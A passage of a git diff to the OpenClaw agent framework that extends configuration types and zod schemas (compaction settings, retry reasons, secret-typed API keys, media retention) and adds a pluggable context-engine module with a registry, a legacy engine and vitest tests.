+20,7 @@ describe("Telegram webhookPort config", () => { channels: { telegram: { webhookUrl: "https://example.com/telegram-webhook", - webhookSecret: "secret", + webhookSecret: "secret", // pragma: allowlist secret webhookPort: 0, }, }, @@ -33,7 +33,7 @@ describe("Telegram webhookPort config", () => { channels: { telegram: { webhookUrl: "https://example.com/telegram-webhook", - webhookSecret: "secret", + webhookSecret: "secret", // pragma: allowlist secret webhookPort: -1, }, }, diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index 6ceba822362..a242d0bbcc1 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -306,6 +306,8 @@ export type AgentCompactionConfig = { reserveTokensFloor?: number; /** Max share of context window for history during safeguard pruning (0.1–0.9, default 0.5). */ maxHistoryShare?: number; + /** Preserve this many most-recent user/assistant turns verbatim in compaction summary context. */ + recentTurnsPreserve?: number; /** Identifier-preservation instruction policy for compaction summaries. */ identifierPolicy?: AgentCompactionIdentifierPolicy; /** Custom identifier-preservation instructions used when identifierPolicy is "custom". */ @@ -314,6 +316,12 @@ export type AgentCompactionConfig = { qualityGuard?: AgentCompactionQualityGuardConfig; /** Pre-compaction memory flush (agentic turn). Default: enabled. */ memoryFlush?: AgentCompactionMemoryFlushConfig; + /** + * H2/H3 section names from AGENTS.md to inject after compaction. + * Defaults to ["Session Startup", "Red Lines"] when unset. + * Set to [] to disable post-compaction context injection entirely. + */ + postCompactionSections?: string[]; }; export type AgentCompactionMemoryFlushConfig = { diff --git a/src/config/types.cron.ts b/src/config/types.cron.ts index 251592251b6..0d3ee66dc19 100644 --- a/src/config/types.cron.ts +++ b/src/config/types.cron.ts @@ -1,7 +1,7 @@ import type { SecretInput } from "./types.secrets.js"; /** Error types that can trigger retries for one-shot jobs. */ -export type CronRetryOn = "rate_limit" | "network" | "timeout" | "server_error"; +export type CronRetryOn = "rate_limit" | "overloaded" | "network" | "timeout" | "server_error"; export type CronRetryConfig = { /** Max retries for transient errors before permanent disable (default: 3). */ diff --git a/src/config/types.models.ts b/src/config/types.models.ts index 6e7e9efe5f0..b881269d961 100644 --- a/src/config/types.models.ts +++ b/src/config/types.models.ts @@ -18,6 +18,7 @@ export type ModelCompatConfig = { supportsDeveloperRole?: boolean; supportsReasoningEffort?: boolean; supportsUsageInStreaming?: boolean; + supportsTools?: boolean; supportsStrictMode?: boolean; maxTokensField?: "max_completion_tokens" | "max_tokens"; thinkingFormat?: "openai" | "zai" | "qwen"; @@ -53,7 +54,7 @@ export type ModelProviderConfig = { auth?: ModelProviderAuthMode; api?: ModelApi; injectNumCtxForOpenAICompat?: boolean; - headers?: Record; + headers?: Record; authHeader?: boolean; models: ModelDefinitionConfig[]; }; diff --git a/src/config/types.openclaw.ts b/src/config/types.openclaw.ts index 0a818419557..3d1f0a90080 100644 --- a/src/config/types.openclaw.ts +++ b/src/config/types.openclaw.ts @@ -101,6 +101,12 @@ export type OpenClawConfig = { bindings?: AgentBinding[]; broadcast?: BroadcastConfig; audio?: AudioConfig; + media?: { + /** Preserve original uploaded filenames when storing inbound media. */ + preserveFilenames?: boolean; + /** Optional retention window for persisted inbound media cleanup. */ + ttlHours?: number; + }; messages?: MessagesConfig; commands?: CommandsConfig; approvals?: ApprovalsConfig; diff --git a/src/config/types.plugins.ts b/src/config/types.plugins.ts index 5244795d51e..323946dd541 100644 --- a/src/config/types.plugins.ts +++ b/src/config/types.plugins.ts @@ -10,6 +10,8 @@ export type PluginEntryConfig = { export type PluginSlotsConfig = { /** Select which plugin owns the memory slot ("none" disables memory plugins). */ memory?: string; + /** Select which plugin owns the context-engine slot. */ + contextEngine?: string; }; export type PluginsLoadConfig = { diff --git a/src/config/types.secrets.ts b/src/config/types.secrets.ts index 40a6963f2d8..687f00a212a 100644 --- a/src/config/types.secrets.ts +++ b/src/config/types.secrets.ts @@ -1,4 +1,4 @@ -export type SecretRefSource = "env" | "file" | "exec"; +export type SecretRefSource = "env" | "file" | "exec"; // pragma: allowlist secret /** * Stable identifier for a secret in a configured source. @@ -14,7 +14,7 @@ export type SecretRef = { }; export type SecretInput = string | SecretRef; -export const DEFAULT_SECRET_PROVIDER_ALIAS = "default"; +export const DEFAULT_SECRET_PROVIDER_ALIAS = "default"; // pragma: allowlist secret export const ENV_SECRET_REF_ID_RE = /^[A-Z][A-Z0-9_]{0,127}$/; const ENV_SECRET_TEMPLATE_RE = /^\$\{([A-Z][A-Z0-9_]{0,127})\}$/; type SecretDefaults = { @@ -179,7 +179,7 @@ export type EnvSecretProviderConfig = { allowlist?: string[]; }; -export type FileSecretProviderMode = "singleValue" | "json"; +export type FileSecretProviderMode = "singleValue" | "json"; // pragma: allowlist secret export type FileSecretProviderConfig = { source: "file"; diff --git a/src/config/types.tools.ts b/src/config/types.tools.ts index c18f9a375fe..5c8152f0e59 100644 --- a/src/config/types.tools.ts +++ b/src/config/types.tools.ts @@ -444,7 +444,7 @@ export type ToolsConfig = { /** Search provider ("brave", "perplexity", "grok", "gemini", or "kimi"). */ provider?: "brave" | "perplexity" | "grok" | "gemini" | "kimi"; /** Brave Search API key (optional; defaults to BRAVE_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Default search results count (1-10). */ maxResults?: number; /** Timeout in seconds for search requests. */ @@ -454,7 +454,7 @@ export type ToolsConfig = { /** Perplexity-specific configuration (used when provider="perplexity"). */ perplexity?: { /** API key for Perplexity (defaults to PERPLEXITY_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** @deprecated Legacy Sonar/OpenRouter field. Ignored by Search API. */ baseUrl?: string; /** @deprecated Legacy Sonar/OpenRouter field. Ignored by Search API. */ @@ -463,7 +463,7 @@ export type ToolsConfig = { /** Grok-specific configuration (used when provider="grok"). */ grok?: { /** API key for xAI (defaults to XAI_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Model to use (defaults to "grok-4-1-fast"). */ model?: string; /** Include inline citations in response text as markdown links (default: false). */ @@ -472,14 +472,14 @@ export type ToolsConfig = { /** Gemini-specific configuration (used when provider="gemini"). */ gemini?: { /** Gemini API key (defaults to GEMINI_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Model to use for grounded search (defaults to "gemini-2.5-flash"). */ model?: string; }; /** Kimi-specific configuration (used when provider="kimi"). */ kimi?: { /** Moonshot/Kimi API key (defaults to KIMI_API_KEY or MOONSHOT_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Base URL for API requests (defaults to "https://api.moonshot.ai/v1"). */ baseUrl?: string; /** Model to use (defaults to "moonshot-v1-128k"). */ diff --git a/src/config/validation.ts b/src/config/validation.ts index f6687e172bb..90d733e0818 100644 --- a/src/config/validation.ts +++ b/src/config/validation.ts @@ -285,7 +285,7 @@ export function validateConfigObject( }; } -export function validateConfigObjectWithPlugins(raw: unknown): +type ValidateConfigWithPluginsResult = | { ok: true; config: OpenClawConfig; @@ -295,38 +295,20 @@ export function validateConfigObjectWithPlugins(raw: unknown): ok: false; issues: ConfigValidationIssue[]; warnings: ConfigValidationIssue[]; - } { + }; + +export function validateConfigObjectWithPlugins(raw: unknown): ValidateConfigWithPluginsResult { return validateConfigObjectWithPluginsBase(raw, { applyDefaults: true }); } -export function validateConfigObjectRawWithPlugins(raw: unknown): - | { - ok: true; - config: OpenClawConfig; - warnings: ConfigValidationIssue[]; - } - | { - ok: false; - issues: ConfigValidationIssue[]; - warnings: ConfigValidationIssue[]; - } { +export function validateConfigObjectRawWithPlugins(raw: unknown): ValidateConfigWithPluginsResult { return validateConfigObjectWithPluginsBase(raw, { applyDefaults: false }); } function validateConfigObjectWithPluginsBase( raw: unknown, opts: { applyDefaults: boolean }, -): - | { - ok: true; - config: OpenClawConfig; - warnings: ConfigValidationIssue[]; - } - | { - ok: false; - issues: ConfigValidationIssue[]; - warnings: ConfigValidationIssue[]; - } { +): ValidateConfigWithPluginsResult { const base = opts.applyDefaults ? validateConfigObject(raw) : validateConfigObjectRaw(raw); if (!base.ok) { return { ok: false, issues: base.issues, warnings: [] }; diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 276f97f586d..1e83a92f54c 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -95,6 +95,7 @@ export const AgentDefaultsSchema = z .union([z.literal("strict"), z.literal("off"), z.literal("custom")]) .optional(), identifierInstructions: z.string().optional(), + recentTurnsPreserve: z.number().int().min(0).max(12).optional(), qualityGuard: z .object({ enabled: z.boolean().optional(), @@ -102,6 +103,7 @@ export const AgentDefaultsSchema = z }) .strict() .optional(), + postCompactionSections: z.array(z.string()).optional(), memoryFlush: z .object({ enabled: z.boolean().optional(), diff --git a/src/config/zod-schema.core.ts b/src/config/zod-schema.core.ts index 48c4429940b..7ddef789282 100644 --- a/src/config/zod-schema.core.ts +++ b/src/config/zod-schema.core.ts @@ -188,6 +188,7 @@ export const ModelCompatSchema = z supportsDeveloperRole: z.boolean().optional(), supportsReasoningEffort: z.boolean().optional(), supportsUsageInStreaming: z.boolean().optional(), + supportsTools: z.boolean().optional(), supportsStrictMode: z.boolean().optional(), maxTokensField: z .union([z.literal("max_completion_tokens"), z.literal("max_tokens")]) @@ -233,7 +234,7 @@ export const ModelProviderSchema = z .optional(), api: ModelApiSchema.optional(), injectNumCtxForOpenAICompat: z.boolean().optional(), - headers: z.record(z.string(), z.string()).optional(), + headers: z.record(z.string(), SecretInputSchema.register(sensitive)).optional(), authHeader: z.boolean().optional(), models: z.array(ModelDefinitionSchema), }) diff --git a/src/config/zod-schema.secret-input-validation.ts b/src/config/zod-schema.secret-input-validation.ts index f033b266889..3426e61d15f 100644 --- a/src/config/zod-schema.secret-input-validation.ts +++ b/src/config/zod-schema.secret-input-validation.ts @@ -25,6 +25,21 @@ type SlackConfigLike = { accounts?: Record; }; +function forEachEnabledAccount( + accounts: Record | undefined, + run: (accountId: string, account: T) => void, +): void { + if (!accounts) { + return; + } + for (const [accountId, account] of Object.entries(accounts)) { + if (!account || account.enabled === false) { + continue; + } + run(accountId, account); + } +} + export function validateTelegramWebhookSecretRequirements( value: TelegramConfigLike, ctx: z.RefinementCtx, @@ -38,20 +53,11 @@ export function validateTelegramWebhookSecretRequirements( path: ["webhookSecret"], }); } - if (!value.accounts) { - return; - } - for (const [accountId, account] of Object.entries(value.accounts)) { - if (!account) { - continue; - } - if (account.enabled === false) { - continue; - } + forEachEnabledAccount(value.accounts, (accountId, account) => { const accountWebhookUrl = typeof account.webhookUrl === "string" ? account.webhookUrl.trim() : ""; if (!accountWebhookUrl) { - continue; + return; } const hasAccountSecret = hasConfiguredSecretInput(account.webhookSecret); if (!hasAccountSecret && !hasBaseWebhookSecret) { @@ -62,7 +68,7 @@ export function validateTelegramWebhookSecretRequirements( path: ["accounts", accountId, "webhookSecret"], }); } - } + }); } export function validateSlackSigningSecretRequirements( @@ -77,20 +83,11 @@ export function validateSlackSigningSecretRequirements( path: ["signingSecret"], }); } - if (!value.accounts) { - return; - } - for (const [accountId, account] of Object.entries(value.accounts)) { - if (!account) { - continue; - } - if (account.enabled === false) { - continue; - } + forEachEnabledAccount(value.accounts, (accountId, account) => { const accountMode = account.mode === "http" || account.mode === "socket" ? account.mode : baseMode; if (accountMode !== "http") { - continue; + return; } const accountSecret = account.signingSecret ?? value.signingSecret; if (!hasConfiguredSecretInput(accountSecret)) { @@ -101,5 +98,5 @@ export function validateSlackSigningSecretRequirements( path: ["accounts", accountId, "signingSecret"], }); } - } + }); } diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 4d49e0428e4..5148704a1ac 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -423,6 +423,12 @@ export const OpenClawSchema = z media: z .object({ preserveFilenames: z.boolean().optional(), + ttlHours: z + .number() + .int() + .min(1) + .max(24 * 7) + .optional(), }) .strict() .optional(), @@ -440,7 +446,7 @@ export const OpenClawSchema = z maxAttempts: z.number().int().min(0).max(10).optional(), backoffMs: z.array(z.number().int().nonnegative()).min(1).max(10).optional(), retryOn: z - .array(z.enum(["rate_limit", "network", "timeout", "server_error"])) + .array(z.enum(["rate_limit", "overloaded", "network", "timeout", "server_error"])) .min(1) .optional(), }) @@ -829,6 +835,7 @@ export const OpenClawSchema = z slots: z .object({ memory: z.string().optional(), + contextEngine: z.string().optional(), }) .strict() .optional(), diff --git a/src/context-engine/context-engine.test.ts b/src/context-engine/context-engine.test.ts new file mode 100644 index 00000000000..022fdc14cc8 --- /dev/null +++ b/src/context-engine/context-engine.test.ts @@ -0,0 +1,337 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; +import { describe, expect, it, beforeEach } from "vitest"; +// --------------------------------------------------------------------------- +// We dynamically import the registry so we can get a fresh module per test +// group when needed. For most groups we use the shared singleton directly. +// --------------------------------------------------------------------------- +import { LegacyContextEngine, registerLegacyContextEngine } from "./legacy.js"; +import { + registerContextEngine, + getContextEngineFactory, + listContextEngineIds, + resolveContextEngine, +} from "./registry.js"; +import type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/** Build a config object with a contextEngine slot for testing. */ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function configWithSlot(engineId: string): any { + return { plugins: { slots: { contextEngine: engineId } } }; +} + +function makeMockMessage(role: "user" | "assistant" = "user", text = "hello"): AgentMessage { + return { role, content: text, timestamp: Date.now() } as AgentMessage; +} + +/** A minimal mock engine that satisfies the ContextEngine interface. */ +class MockContextEngine implements ContextEngine { + readonly info: ContextEngineInfo = { + id: "mock", + name: "Mock Engine", + version: "0.0.1", + }; + + async ingest(_params: { + sessionId: string; + message: AgentMessage; + isHeartbeat?: boolean; + }): Promise { + return { ingested: true }; + } + + async assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise { + return { + messages: params.messages, + estimatedTokens: 42, + systemPromptAddition: "mock system addition", + }; + } + + async compact(_params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + legacyParams?: Record; + }): Promise { + return { + ok: true, + compacted: true, + reason: "mock compaction", + result: { + summary: "mock summary", + tokensBefore: 100, + tokensAfter: 50, + }, + }; + } + + async dispose(): Promise { + // no-op + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// 1. Engine contract tests +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Engine contract tests", () => { + it("a mock engine implementing ContextEngine can be registered and resolved", async () => { + const factory = () => new MockContextEngine(); + registerContextEngine("mock", factory); + + const resolved = getContextEngineFactory("mock"); + expect(resolved).toBe(factory); + + const engine = await resolved!(); + expect(engine).toBeInstanceOf(MockContextEngine); + expect(engine.info.id).toBe("mock"); + }); + + it("ingest() returns IngestResult with ingested boolean", async () => { + const engine = new MockContextEngine(); + const result = await engine.ingest({ + sessionId: "s1", + message: makeMockMessage(), + }); + + expect(result).toHaveProperty("ingested"); + expect(typeof result.ingested).toBe("boolean"); + expect(result.ingested).toBe(true); + }); + + it("assemble() returns AssembleResult with messages array and estimatedTokens", async () => { + const engine = new MockContextEngine(); + const msgs = [makeMockMessage(), makeMockMessage("assistant", "world")]; + const result = await engine.assemble({ + sessionId: "s1", + messages: msgs, + }); + + expect(Array.isArray(result.messages)).toBe(true); + expect(result.messages).toHaveLength(2); + expect(typeof result.estimatedTokens).toBe("number"); + expect(result.estimatedTokens).toBe(42); + expect(result.systemPromptAddition).toBe("mock system addition"); + }); + + it("compact() returns CompactResult with ok, compacted, reason, result fields", async () => { + const engine = new MockContextEngine(); + const result = await engine.compact({ + sessionId: "s1", + sessionFile: "/tmp/session.json", + }); + + expect(typeof result.ok).toBe("boolean"); + expect(typeof result.compacted).toBe("boolean"); + expect(result.ok).toBe(true); + expect(result.compacted).toBe(true); + expect(result.reason).toBe("mock compaction"); + expect(result.result).toBeDefined(); + expect(result.result!.summary).toBe("mock summary"); + expect(result.result!.tokensBefore).toBe(100); + expect(result.result!.tokensAfter).toBe(50); + }); + + it("dispose() is callable (optional method)", async () => { + const engine = new MockContextEngine(); + // Should complete without error + await expect(engine.dispose()).resolves.toBeUndefined(); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 2. Registry tests +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Registry tests", () => { + it("registerContextEngine() stores a factory", () => { + const factory = () => new MockContextEngine(); + registerContextEngine("reg-test-1", factory); + + expect(getContextEngineFactory("reg-test-1")).toBe(factory); + }); + + it("getContextEngineFactory() returns the factory", () => { + const factory = () => new MockContextEngine(); + registerContextEngine("reg-test-2", factory); + + const retrieved = getContextEngineFactory("reg-test-2"); + expect(retrieved).toBe(factory); + expect(typeof retrieved).toBe("function"); + }); + + it("listContextEngineIds() returns all registered ids", () => { + // Ensure at least our test entries exist + registerContextEngine("reg-test-a", () => new MockContextEngine()); + registerContextEngine("reg-test-b", () => new MockContextEngine()); + + const ids = listContextEngineIds(); + expect(ids).toContain("reg-test-a"); + expect(ids).toContain("reg-test-b"); + expect(Array.isArray(ids)).toBe(true); + }); + + it("registering the same id overwrites the previous factory", () => { + const factory1 = () => new MockContextEngine(); + const factory2 = () => new MockContextEngine(); + + registerContextEngine("reg-overwrite", factory1); + expect(getContextEngineFactory("reg-overwrite")).toBe(factory1); + + registerContextEngine("reg-overwrite", factory2); + expect(getContextEngineFactory("reg-overwrite")).toBe(factory2); + expect(getContextEngineFactory("reg-overwrite")).not.toBe(factory1); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 3. Default engine selection +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Default engine selection", () => { + // Ensure both legacy and a custom test engine are registered before these tests. + beforeEach(() => { + // Registration is idempotent (Map.set), so calling again is safe. + registerLegacyContextEngine(); + // Register a lightweight custom stub so we don't need external resources. + registerContextEngine("test-engine", () => { + const engine: ContextEngine = { + info: { id: "test-engine", name: "Custom Test Engine", version: "0.0.0" }, + async ingest() { + return { ingested: true }; + }, + async assemble({ messages }) { + return { messages, estimatedTokens: 0 }; + }, + async compact() { + return { ok: true, compacted: false }; + }, + }; + return engine; + }); + }); + + it("resolveContextEngine() with no config returns the default ('legacy') engine", async () => { + const engine = await resolveContextEngine(); + expect(engine.info.id).toBe("legacy"); + }); + + it("resolveContextEngine() with config contextEngine='legacy' returns legacy engine", async () => { + const engine = await resolveContextEngine(configWithSlot("legacy")); + expect(engine.info.id).toBe("legacy"); + }); + + it("resolveContextEngine() with config contextEngine='test-engine' returns the custom engine", async () => { + const engine = await resolveContextEngine(configWithSlot("test-engine")); + expect(engine.info.id).toBe("test-engine"); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 4. Invalid engine fallback +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Invalid engine fallback", () => { + it("resolveContextEngine() with config pointing to unregistered engine throws with helpful error", async () => { + await expect(resolveContextEngine(configWithSlot("nonexistent-engine"))).rejects.toThrow( + /nonexistent-engine/, + ); + }); + + it("error message includes the requested id and available ids", async () => { + // Ensure at least legacy is registered so we see it in the available list + registerLegacyContextEngine(); + + try { + await resolveContextEngine(configWithSlot("does-not-exist")); + // Should not reach here + expect.unreachable("Expected resolveContextEngine to throw"); + } catch (err: unknown) { + const message = err instanceof Error ? err.message : String(err); + expect(message).toContain("does-not-exist"); + expect(message).toContain("not registered"); + // Should mention available engines + expect(message).toMatch(/Available engines:/); + // At least "legacy" should be listed as available + expect(message).toContain("legacy"); + } + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 5. LegacyContextEngine parity +// ═══════════════════════════════════════════════════════════════════════════ + +describe("LegacyContextEngine parity", () => { + it("ingest() returns { ingested: false } (no-op)", async () => { + const engine = new LegacyContextEngine(); + const result = await engine.ingest({ + sessionId: "s1", + message: makeMockMessage(), + }); + + expect(result).toEqual({ ingested: false }); + }); + + it("assemble() returns messages as-is (pass-through)", async () => { + const engine = new LegacyContextEngine(); + const messages = [ + makeMockMessage("user", "first"), + makeMockMessage("assistant", "second"), + makeMockMessage("user", "third"), + ]; + + const result = await engine.assemble({ + sessionId: "s1", + messages, + }); + + // Messages should be the exact same array reference (pass-through) + expect(result.messages).toBe(messages); + expect(result.messages).toHaveLength(3); + expect(result.estimatedTokens).toBe(0); + expect(result.systemPromptAddition).toBeUndefined(); + }); + + it("dispose() completes without error", async () => { + const engine = new LegacyContextEngine(); + await expect(engine.dispose()).resolves.toBeUndefined(); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 6. Initialization guard +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Initialization guard", () => { + it("ensureContextEnginesInitialized() is idempotent (calling twice does not throw)", async () => { + const { ensureContextEnginesInitialized } = await import("./init.js"); + + expect(() => ensureContextEnginesInitialized()).not.toThrow(); + expect(() => ensureContextEnginesInitialized()).not.toThrow(); + }); + + it("after init, 'legacy' engine is registered", async () => { + const { ensureContextEnginesInitialized } = await import("./init.js"); + ensureContextEnginesInitialized(); + + const ids = listContextEngineIds(); + expect(ids).toContain("legacy"); + }); +}); diff --git a/src/context-engine/index.ts b/src/context-engine/index.ts new file mode 100644 index 00000000000..fa3193d4030 --- /dev/null +++ b/src/context-engine/index.ts @@ -0,0 +1,19 @@ +export type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +export { + registerContextEngine, + getContextEngineFactory, + listContextEngineIds, + resolveContextEngine, +} from "./registry.js"; +export type { ContextEngineFactory } from "./registry.js"; + +export { LegacyContextEngine, registerLegacyContextEngine } from "./legacy.js"; + +export { ensureContextEnginesInitialized } from "./init.js"; diff --git a/src/context-engine/init.ts b/src/context-engine/init.ts new file mode 100644 index 00000000000..1052e4b3677 --- /dev/null +++ b/src/context-engine/init.ts @@ -0,0 +1,23 @@ +import { registerLegacyContextEngine } from "./legacy.js"; + +/** + * Ensures all built-in context engines are registered exactly once. + * + * The legacy engine is always registered as a safe fallback so that + * `resolveContextEngine()` can resolve the default "legacy" slot without + * callers needing to remember manual registration. + * + * Additional engines are registered by their own plugins via + * `api.registerContextEngine()` during plugin load. + */ +let initialized = false; + +export function ensureContextEnginesInitialized(): void { + if (initialized) { + return; + } + initialized = true; + + // Always available – safe fallback for the "legacy" slot default. + registerLegacyContextEngine(); +} diff --git a/src/context-engine/legacy.ts b/src/context-engine/legacy.ts new file mode 100644 index 00000000000..ab2eeff9b7f --- /dev/null +++ b/src/context-engine/legacy.ts @@ -0,0 +1,115 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; +import { registerContextEngine } from "./registry.js"; +import type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +/** + * LegacyContextEngine wraps the existing compaction behavior behind the + * ContextEngine interface, preserving 100% backward compatibility. + * + * - ingest: no-op (SessionManager handles message persistence) + * - assemble: pass-through (existing sanitize/validate/limit pipeline in attempt.ts handles this) + * - compact: delegates to compactEmbeddedPiSessionDirect + */ +export class LegacyContextEngine implements ContextEngine { + readonly info: ContextEngineInfo = { + id: "legacy", + name: "Legacy Context Engine", + version: "1.0.0", + }; + + async ingest(_params: { + sessionId: string; + message: AgentMessage; + isHeartbeat?: boolean; + }): Promise { + // No-op: SessionManager handles message persistence in the legacy flow + return { ingested: false }; + } + + async assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise { + // Pass-through: the existing sanitize -> validate -> limit -> repair pipeline + // in attempt.ts handles context assembly for the legacy engine. + // We just return the messages as-is with a rough token estimate. + return { + messages: params.messages, + estimatedTokens: 0, // Caller handles estimation + }; + } + + async afterTurn(_params: { + sessionId: string; + sessionFile: string; + messages: AgentMessage[]; + prePromptMessageCount: number; + autoCompactionSummary?: string; + isHeartbeat?: boolean; + tokenBudget?: number; + legacyCompactionParams?: Record; + }): Promise { + // No-op: legacy flow persists context directly in SessionManager. + } + + async compact(params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + force?: boolean; + currentTokenCount?: number; + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + legacyParams?: Record; + }): Promise { + // Import through a dedicated runtime boundary so the lazy edge remains effective. + const { compactEmbeddedPiSessionDirect } = + await import("../agents/pi-embedded-runner/compact.runtime.js"); + + // legacyParams carries the full CompactEmbeddedPiSessionParams fields + // set by the caller in run.ts. We spread them and override the fields + // that come from the ContextEngine compact() signature directly. + const lp = params.legacyParams ?? {}; + + // eslint-disable-next-line @typescript-eslint/no-explicit-any -- legacy bridge: legacyParams is an opaque bag matching CompactEmbeddedPiSessionParams + const result = await compactEmbeddedPiSessionDirect({ + ...lp, + sessionId: params.sessionId, + sessionFile: params.sessionFile, + tokenBudget: params.tokenBudget, + force: params.force, + customInstructions: params.customInstructions, + workspaceDir: (lp.workspaceDir as string) ?? process.cwd(), + } as Parameters[0]); + + return { + ok: result.ok, + compacted: result.compacted, + reason: result.reason, + result: result.result + ? { + summary: result.result.summary, + firstKeptEntryId: result.result.firstKeptEntryId, + tokensBefore: result.result.tokensBefore, + tokensAfter: result.result.tokensAfter, + details: result.result.details, + } + : undefined, + }; + } + + async dispose(): Promise { + // Nothing to clean up for legacy engine + } +} + +export function registerLegacyContextEngine(): void { + registerContextEngine("legacy", () => new LegacyContextEngine()); +} diff --git a/src/context-engine/registry.ts b/src/context-engine/registry.ts new file mode 100644 index 00000000000..49bf34bfbb3 --- /dev/null +++ b/src/context-engine/registry.ts @@ -0,0 +1,67 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { defaultSlotIdForKey } from "../plugins/slots.js"; +import type { ContextEngine } from "./types.js"; + +/** + * A factory that creates a ContextEngine instance. + * Supports async creation for engines that need DB connections etc. + */ +export type ContextEngineFactory = () => ContextEngine | Promise; + +// --------------------------------------------------------------------------- +// Registry (module-level singleton) +// --------------------------------------------------------------------------- + +const _engines = new Map(); + +/** + * Register a context engine implementation under the given id. + */ +export function registerContextEngine(id: string, factory: ContextEngineFactory): void { + _engines.set(id, factory); +} + +/** + * Return the factory for a registered engine, or undefined. + */ +export function getContextEngineFactory(id: string): ContextEngineFactory | undefined { + return _engines.get(id); +} + +/** + * List all registered engine ids. + */ +export function listContextEngineIds(): string[] { + return [..._engines.keys()]; +} + +// --------------------------------------------------------------------------- +// Resolution +// --------------------------------------------------------------------------- + +/** + * Resolve which ContextEngine to use based on plugin slot configuration. + * + * Resolution order: + * 1. `config.plugins.slots.contextEngine` (explicit slot override) + * 2. Default slot value ("legacy") + * + * Throws if the resolved engine id has no registered factory. + */ +export async function resolveContextEngine(config?: OpenClawConfig): Promise { + const slotValue = config?.plugins?.slots?.contextEngine; + const engineId = + typeof slotValue === "string" && slotValue.trim() + ? slotValue.trim() + : defaultSlotIdForKey("contextEngine"); + + const factory = _engines.get(engineId); + if (!factory) { + throw new Error( + `Context engine "${engineId}" is not registered. ` + + `Available engines: ${listContextEngineIds().join(", ") || "(none)"}`, + ); + } + + return factory(); +} diff --git a/src/context-engine/types.ts b/src/context-engine/types.ts new file mode 100644 index 00000000000..525c673b092 --- /dev/null +++ b/src/context-engine/types.ts @@ -0,0 +1,167 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; + +// Result types + +export type AssembleResult = { + /** Ordered messages to use as model context */ + messages: AgentMessage[]; + /** Estimated total tokens in assembled context */ + estimatedTokens: number; + /** Optional context-engine-provided instructions prepended to the runtime system prompt */ + systemPromptAddition?: string; +}; + +export type CompactResult = { + ok: boolean; + compacted: boolean; + reason?: string; + result?: { + summary?: string; + firstKeptEntryId?: string; + tokensBefore: number; + tokensAfter?: number; + details?: unknown; + }; +}; + +export type IngestResult = { + /** Whether the message was ingested (false if duplicate or no-op) */ + ingested: boolean; +}; + +export type IngestBatchResult = { + /** Number of messages ingested from the supplied batch */ + ingestedCount: number; +}; + +export type BootstrapResult = { + /** Whether bootstrap ran and initialized the engine's store */ + bootstrapped: boolean; + /** Number of historical messages imported (if applicable) */ + importedMessages?: number; + /** Optional reason when bootstrap was skipped */ + reason?: string; +}; + +export type ContextEngineInfo = { + id: string; + name: string; + version?: string; + /** True when the engine manages its own compaction lifecycle. */ + ownsCompaction?: boolean; +}; + +export type SubagentSpawnPreparation = { + /** Roll back pre-spawn setup when subagent launch fails. */ + rollback: () => void | Promise; +}; + +export type SubagentEndReason = "deleted" | "completed" | "swept" | "released"; + +/** + * ContextEngine defines the pluggable contract for context management. + * + * Required methods define a generic lifecycle; optional methods allow engines + * to provide additional capabilities (retrieval, lineage, etc.). + */ +export interface ContextEngine { + /** Engine identifier and metadata */ + readonly info: ContextEngineInfo; + + /** + * Initialize engine state for a session, optionally importing historical context. + */ + bootstrap?(params: { sessionId: string; sessionFile: string }): Promise; + + /** + * Ingest a single message into the engine's store. + */ + ingest(params: { + sessionId: string; + message: AgentMessage; + /** True when the message belongs to a heartbeat run. */ + isHeartbeat?: boolean; + }): Promise; + + /** + * Ingest a completed turn batch as a single unit. + */ + ingestBatch?(params: { + sessionId: string; + messages: AgentMessage[]; + /** True when the batch belongs to a heartbeat run. */ + isHeartbeat?: boolean; + }): Promise; + + /** + * Execute optional post-turn lifecycle work after a run attempt completes. + * Engines can use this to persist canonical context and trigger background + * compaction decisions. + */ + afterTurn?(params: { + sessionId: string; + sessionFile: string; + messages: AgentMessage[]; + /** Number of messages that existed before the prompt was sent. */ + prePromptMessageCount: number; + /** Optional auto-compaction summary emitted by the runtime. */ + autoCompactionSummary?: string; + /** True when this turn belongs to a heartbeat run. */ + isHeartbeat?: boolean; + /** Optional model context token budget for proactive compaction. */ + tokenBudget?: number; + /** 